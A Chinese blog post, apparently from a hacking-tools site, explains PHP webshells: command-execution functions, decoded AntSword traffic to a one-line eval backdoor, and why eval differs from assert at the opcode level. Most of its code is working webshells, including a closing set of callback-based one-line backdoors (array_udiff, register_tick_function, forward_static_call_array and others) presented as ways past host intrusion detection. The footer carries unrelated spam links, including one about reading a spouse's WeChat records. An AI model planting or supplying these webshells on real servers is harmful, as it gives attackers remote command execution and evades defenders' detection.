分析webshell(php)以及eval与assert区别

访客4年前黑客工具1086

webshell分类

一句话木马

可以在目标服务器上执行PHP代码,并和客户端(如菜刀,Cknife、冰蝎、蚁剑)进行交互的webshell,俗称小马。

多功能木马

根据PHP语法,编写较多代码,并在服务器上执行,完成所有功能的Webshell,俗称大马

逻辑木马

利用系统逻辑漏洞(如php uaf漏洞),绕过访问控制或执行特殊功能的WebShell

PHP 可执行系统命令的函数

system

string system ( string $command [, int &$return_var ] );
# $command为执行的命令,&return_var可选,用来存放命令执行后的状态码
# system 函数执行有回显,可将结果显示在页面上

<?php
	system("whoami");
?>

passthru

void passthru ( string $command [, int &$return_var ] );
# 和system函数类似,$command为执行的命令,&return_var可选,用来存放命令执行后的状态码
# passthru 执行有回显,可将执行结果显示在页面上

<?php
	passthru("whoami");
?>

exec

string exec ( string $command [, array &$output [, int &$return_var ]] );
# $command是要执行的命令
# $output是获得执行命令输出的每一行字符串,$return_var用来保存命令执行的状态码(检测成功或失败)
# exec()函数执行无回显,默认返回最后一行结果

<?php
	echo exec("whoami");
?>

<?php  
$test="ipconfig";   
exec($test,$array);      
print_r($array);  
?>

shell_exec

string shell_exec( string &command);
# $command是要执行的命令
# shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面

<?php
	echo shell_exec("whoami");
?>
# `(反引号) shell_exec() 函数实际上仅是反引号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
# 在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

<?php
	echo `whoami`;
?>

popen

resource popen ( string $command , string $mode );
# 函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。此指针可以用于fgets(),fgetss()和 fwrite()
<?php  
$command=$_POST[cmd];  
$fp=popen($command,"r");
  
while (!feof($fp)) {
 $out=fgets($fp, 4096);  
 echo  $out;
}  
pclose($fp);  
?>

proc_open

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
);
# 与Popen函数类似,但是可以提供双向管道
<?php  
$command=$_POST[cmd];  
$array=array(  
 array("pipe","r"),   //标准输入  
 array("pipe","w"),   //标准输出内容  
 array("pipe","w")    //标准输出错误  
 );  
  
$fp=proc_open($command,$array,$pipes);   //打开一个进程通道  
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
proc_close($fp);  
?> 

pcntl_exec

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
# path是可执行二进制文件路径或一个在文件之一行指定了 一个可执行文件路径标头的脚本
# args是一个要传递给程序的参数的字符串数组。
# pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
# pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0

蚁剑连接webshell分析

上述函数都是可以作为一个简单的webshell执行一些系统的命令,那么与客户端(菜刀,CKnife,蚁剑,冰蝎)完成交互的webshell是什么样的呢?

准备一个一句话木马

<?php @eval($_POST['cmd']);?>

在蚁剑添加手动 *** ,用Burp抓包分析,如下图所示:

添加代理

将cmd参数解码可以看到

// 临时关闭PHP的错误显示功能
@ini_set("display_errors", "0");
// 设置执行时间,为零说明永久执行直到程序结束,是为了防止像dir、上传文件大马时超时。
@set_time_limit(0);
// asenc *** ,接收参数,返回参数
function asenc($out){
    return $out;
};
function asoutput(){
    // 从缓冲区取出数据
    $output=ob_get_contents();
    // 清空缓冲区,并将缓冲区关闭
    ob_end_clean();
    echo "b48a94c80a";
    // 输出数据
    echo @asenc($output);
    echo "606e3eed3";
}
// 打开缓冲区,来保存所有的输出
ob_start();
try{
    // $_SERVER["SCRIPT_FILENAME"]是获取当前执行脚本的绝对路径,dirname() 函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
        // $_SERVER["PATH_TRANSLATED"]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果
        $D=dirname($_SERVER["PATH_TRANSLATED"]);
    // 拼接字符串和一个制表位
    $R="{$D}	";
    // 判断是否为Linux的文件目录
    if(substr($D,0,1)!="/"){
        // 遍历盘符
        foreach(range("C","Z")as $L)
            // 如果存在盘符
            if(is_dir("{$L}:"))
                // 拼接字符串
                $R.="{$L}:";
    }else{
        // 否则拼接/
        $R.="/";
    }
    // 拼接制表位
    $R.="	";
    // 判断posix_getegid *** 是否存在,存在调用该 *** 按用户id返回用户相关信息
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    // 如果用户信息不为空,则返回name属性,否则调用get_current_user() *** 
    $s=($u)?$u["name"]:@get_current_user();
    // 返回运行 PHP 的系统的有关信息 并拼接
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;
    ;}
catch(Exception $e){
    // 捕获异常
    echo "ERROR://".$e->getMessage();
};
// 运行程序
asoutput();
die();

将此代码放置在eval函数中执行,返回结果如下图所示:

这说明了eval函数将字符串按照php code解析并执行了,所以客户端只要构造好相应的php code,发送给服务器上的webshell,则可以执行并返回。

当我们再使用列目录的时候截断,可以看到如下图所示,蚁剑客户端还是将封装好的代码发送给了服务端的webshell

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "7322e6777";
    echo @asenc($output);
    echo "7529076fb4d2";
}
ob_start();
try{
    $D=base64_decode($_POST["od0d1a967133cb"]);
    $F=@opendir($D);
    if($F==NULL){
        echo("ERROR:// Path Not Found Or No Permission!");
    }else{
        $M=NULL;
        $L=NULL;
        while($N=@readdir($F)){
            $P=$D.$N;
            $T=@date("Y-m-d H:i:s",@filemtime($P));
            @$E=substr(base_convert(@fileperms($P),10,8),-4);
            $R="	".$T."	".@filesize($P)."	".$E."	";
            if(@is_dir($P))
                $M.=$N."/".$R;
            else $L.=$N.$R;
        }
        echo $M.$L;
        @closedir($F);
    };
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
&od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==

其中od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==,这个od0d1a967133cb key的value值是base64解码之后就是我的web服务的根目录,可以看见,其实用于eval函数执行的代码都是大体相同的,只是更改了try-catch代码块中的逻辑,对于传统的webshell管理工具,连接webshell并且执行相关命令需要使用类似eval,assert等函数将字符串当作php代码执行的性质,当连接成功之后,就可以利用当前web容器可解析的语言执行代码,并完成相关的操作。

这里总结一下,脚本要将字符串(或文件流)当做PHP代码来执行,主要会使用到以下函数:

:PHP 4,PHP 5,PHP 7+ 均可用,接收一个参数,将字符串作为PHP代码执行

<?php
	eval("echo system('whoami');");
?> 
//一句话
<?php
	@eval($_POST['cmd']);
?> 

: PHP 4,PHP5,PHP7.2以下均可使用,一般接收一个参数,PHP5.4.8版本后可以接受两个参数

<?php
	assert("system('whoami')");
?> 
// 一句话
<?php
	assert($_POST['cmd']);
?>
<?php
	assert($_GET['cmd']);
?>

正则匹配类:,,等

// php5.5.0 以下 /e参数还能执行
<?php
	preg_replace("/test/e","system('whoami')","jutst test");
?> 
// 一句话
<?php
    preg_replace("/test/e",@eval($_POST['cmd']),"jutst test");
?>
<?php
    preg_replace("/test/e",$_POST['cmd'],"jutst test");
?>
// php5.5.0+ /e 参数不能使用,推荐使用preg_replace_callback
<?php
	function result(){
		return system("whoami");
	}
	preg_replace_callback("http://","result","");
?>
// 一句话马
<?php
    function result(){
		return @eval($_POST['h']);
	}
    preg_replace_callback("http://","result","");
?>

文件包含类:,,,,等

eval与assert函数的区别

话说做webshell检测的时候,因为要绕过HIDS,常规的一句话木马,大马都基本上会被拦截,不得不去找了一些php提供的”安全函数“(ps,这里我所指的“安全函数”是php的内置的回调函数,因为本身这些 *** 都是php自提供的,所以还是一定程度上可以绕过的)。开始使用的时候发现eval不能作为回调函数的后门?而是要用assert函数来代替eval?

意思就是当我们构造一个双变量马的时候,不能使用1=eval&2=xxx来使用,而只能使1=assert&2=command做为密码连接,或者1=system&2=whoami来执行命令

好奇心害死猫

查看官方文档,他告知我如下:

eval是一个语言构造器,而不是一个函数,不能被可变函数调用;

然后我又去查询什么是可变函数,官方的定义如下:

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途,可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

到这里其实官方已经说得很清楚了,但是我还是想一探究竟,深入浅出

安装vld扩展(这里提示,安装扩展在linux下,且php是自编译的,安装扩展是最简单的)

使用vld扩展,可以清楚的看到,函数,函数在中执行过程

关于php解释型语言以及opcode的一些解释

php是解释型语言,所谓“解释型语言”就是指用这种语言写的程序不会被直接编译为本地机器语言(native machine language),而是会被编译为一种中间形式(代码),很显然这种中间形式不可能直接在CPU上执行(因为CPU只能执行本地机器指令),但是这种中间形式可以在使用本地机器指令(如今大多是使用C语言)编写的软件上执行。

PHP使用主要虚拟机(Zend虚拟机,译注:HHVM也是一种执行PHP代码的虚拟机,但很显然Zend虚拟机还是目前的主流)可以分为两大部分,它们是紧密相连的:

  • 编译栈(compile stack):识别PHP语言指令,把它们转换为中间形式

  • 执行栈(execution stack):获取中间形式的代码指令并在引擎上执行,引擎是用C或者汇编编写成的

OPCode

Zend VM的一个OPCode对应虚拟机的一个底层操作。Zend虚拟机有很多OPCode:它们可以做很多事情。随着PHP的发展,也引入了越来越多的OPCode,这都是源于PHP可以做越来越多的事情。可以在PHP的源代码文件Zend/zend_vm_opcodes.h中看到所有的OPCode。

Zend VM的每个OPCode的工作方式都完全相同:它们都有一个handler(译注:在Zend VM中,handler是一个函数指针,它指向OPCode对应的处理函数的地址,这个处理函数就是用于实现OPCode具体操作的),这是一个C函数,这个函数就包含了执行这个OPCode时会运行的代码(例如“add”,它就会执行一个基本的加法运算)。每个handler都可以使用0、1或者2个操作数:op1和op2,这个函数运行后,它会后返回一个结果,有时也会返回一段信息(extended_value)

php5

如下图所示,可以看到是去处理,而是用去处理

在php源文件Zend/zend_vm_opcodes.h中看到所有的OPCode,其中在Zend/zend_vm_def.h文件中可以看见DO_FCALL这个OPCode的具体操作

DO_FCALL

在这里说一下之一个判断条件,因为确实不懂,在网上找了与一下相关的解释

//如果EG(active_op_array)->run_time_cache[]数组中存在这个值,就取出来,毕竟C原生态数组取数据速度要远远超过zend_hash_quick_find(毕竟他要计算hash值,还要遍历,不能达到真正的O(1)
if (CACHED_PTR(opline->op1.literal->cache_slot)) {
    ce=CACHED_PTR(opline->op1.literal->cache_slot);
}

然后如果C原生态数组里没有这个函数,就会进入else if中,进行一个哈希查找,并把函数指针放入 EX(function_state).function,最后再调用该函数

INCLUDE_OR_EVAL

到这里就可以看到为什么eval参数中必须是php代码,而不是命令,当在eval中的参数为命令的时候,就会出现的错误,当参数为php代码的时候,就会直接编译执行参数。

从OPCode中可以看到,eval就是Zend函数,assert是宏编写的,最后在调用上是不同的,如下图所示,eval就不是宏定义的

php7

在php7+中,assert断言也已经成为语言解释器,再也不是函数了,所以在php7中使用assert作为回调后门不能成功的原因就在于此

回调后门函数

给大家留点彩蛋吧哈哈哈,我实在太菜了

register_shutdown_function

// (PHP 4, PHP 5, PHP 7)
// register_shutdown_function — 注册一个会在php中止时执行的函数
// register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void
// php7+ 存在立即执行函数(function($a){@eval($a)})($_POST['cmd'])
<?php
function test($a){
@eval("$a");
}
register_shutdown_function(test,$_POST['cmd']);
?>

array_udiff_assoc

// (PHP 5, PHP 7)
// array_udiff_assoc — 带索引检查计算数组的差集,用回调函数比较数据
// array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array
<?php
    function test($a){
        @eval($a);
    }
    array_udiff_assoc(array($_REQUEST['h']),array(1),"test");
?>

array_intersect_uassoc

// (PHP 5, PHP 7)
// array_intersect_uassoc — 带索引检查计算数组的交集,用回调函数比较索引
// array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array
<?php
    array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"assert");
?>
<?php
    array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"system");
?>

forward_static_call_array

// forward_static_call_array — 调用静态 *** 并将参数作为数组传递
// forward_static_call_array ( callable $function , array $parameters ) : mixed
<?php
	forward_static_call_array("assert",array($_REQUEST['h']));
?>
<?php
	forward_static_call_array("system",array($_REQUEST['h']));
?>

array_intersect_ukey

// (PHP 5 >=5.1.0, PHP 7)
// array_intersect_ukey — 用回调函数比较键名来计算数组的交集
<?php
    array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"assert");
?>
<?php
    array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"system");
?>

register_tick_function

// register_tick_function — 注册一个函数,以便在每次被标记时执行
// register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool
<?php
	declare(ticks=1);
	register_tick_function("assert", $_REQUEST['h']);
?>
<?php
	declare(ticks=1);
	register_tick_function("system", $_REQUEST['h']);
?>

array_reduce

// (PHP 4 >=4.0.5, PHP 5, PHP 7)
// array_reduce — 用回调函数迭代地将数组简化为单一的值
// array_reduce ( array $array , callable $callback [, mixed $initial=NULL ] ) : mixed
<?php
	$arr=array(1);
	array_reduce($arr, "assert", $_REQUEST['h']);
?>
<?php
	$arr=array(1);
	array_reduce($arr, "system", $_REQUEST['h']);
?>

array_udiff

// (PHP 5, PHP 7)
// array_udiff — 用回调函数比较数据来计算数组的差集
// array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array
<?php
	$arr=array($_POST['h']);
	$arr2=array(1);
	array_udiff($arr, $arr2, "assert");
?>
<?php
	$arr=array($_POST['h']);
	$arr2=array(1);
	array_udiff($arr, $arr2, "system");
?>


相关文章

我想要查我家老公微信聊天的记录

在孩子小的时候很多家长为了方便给孩子把尿,给孩子穿开裆裤这样省了很多时间。但是穿开裆裤穿久了多少会对宝宝的私处有一定的影响。那么宝宝穿开裆裤到底会怎么样呢,下面小编就来和大家说一说。 穿开裆裤,不会...

工会筹备金怎么申报?工会筹备金返还工作

工会筹备金怎么申报?工会筹备金返还工作

工会筹备金怎么申报(工会筹备金返还工作)8月3日,市总工会副主席张瑞新、财务部部长杜健一行来新城区总工会调研指导筹备金返还及乡镇街道工会经费管理工作。   首先,调研组听取了新城区总工会主席庞...

如何进入拼多多批发?手机也能逛,全新购物车轻松选货源!

如何进入拼多多批发?手机也能逛,全新购物车轻松选货源!

拼多多平台批發手机上版上线啦!干万成本价公司货,打开手机就能开心疯狂购物了! 也有全新升级升級加入购物车作用重磅发布!快讨论一下怎样轻松玩吧! 最先,我们要开启拼多多卖家版APP,升級...

德国朗饰壁纸官网 怎么加盟

德国朗饰壁纸官网 怎么加盟

德国朗饰壁纸官网怎么加盟?只有像朗饰壁纸这样让消费者满意的品牌,才有着最好的市场前景,强大的品牌优势,备受人们的青睐。朗饰壁纸这个建材加盟好项目立足产品品质,以多元、个性、时尚化为基准,多样全面为规模...

淘宝卖家自动回复怎么设置?两种设置方法介绍

淘宝卖家自动回复怎么设置?两种设置方法介绍 1、最先走上淘宝旺旺,点一下右上方的设定; 2、打开设置后,寻找最正下方的自动回复内容点一下; 3、以后点一下自动回复内容; 4、见到自动回复内容语...

黑客解冻qq微信联系方式

误删除的微信聊天记录怎么恢复?微信作为平时最常用的聊天工具,自然保存的许多聊天记录,在清理手机时不免误删一些重。 黑客可以通过你绑定的手机号读取找到你的微信好友吗??我来答分享新浪微博QQ空间举报1个...